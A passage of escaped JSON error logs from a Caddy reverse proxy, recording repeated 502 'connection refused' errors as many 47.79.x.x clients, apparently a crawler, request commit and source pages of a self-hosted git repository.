refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.215.201\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;12618\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.215.201\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/commits/commit/25a72940b8184b41de36fec9a3fcdd6387e006b0/layouts/partials/sidebar/left.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000194264,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;mzpuq5vau\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.2894285,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.195.97\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;5843\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.195.97\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/commits/commit/2fd3bde9a40790bf98893b0c5062a2f4c0ac9d8f/layouts/partials/article-list/tile.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.00023476,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;v3azrf597\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.2902029,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.193.3\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;51386\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.193.3\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/blame/commit/d04b3a8771386c9988be00adda53f0bf542cf269/layouts/partials/helper/image.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000307345,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;6gv9knvpm\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.2950988,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.193.80\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;24245\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.193.80\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/commits/commit/c6661196ad92dfa72513582c40f75a6a5f514851/layouts/partials?page=1\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000194966,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;ju8k688tg\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.3023942,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.205.248\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;12381\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.205.248\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/rss/commit/0af9d23e4989ed7ada10e6990802ccd9a28d8797/layouts/partials/sidebar/right.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000187251,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;4m19ms28b\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.3110833,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.212.84\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;57044\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.212.84\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/commits/commit/2fd3bde9a40790bf98893b0c5062a2f4c0ac9d8f/layouts/partials/article-list/compact.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000179277,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;hk01fb751\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.31186,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.205.70\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;51797\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.205.70\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/src/commit/d04b3a8771386c9988be00adda53f0bf542cf269/layouts/partials/helper/icon.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.00037888,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;7dz5tnw6r\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.3274698,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.200.118\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;13643\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.200.118\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/rss/commit/0af9d23e4989ed7ada10e6990802ccd9a28d8797/layouts/partials/data/description.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000217268,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;ht5drxez1\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.3605616,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.215.215\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;44762\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.215.215\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/src/commit/25581cc44637909a75aacdf33f896192f0569689/layouts/partials/head/opengraph/provider\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, 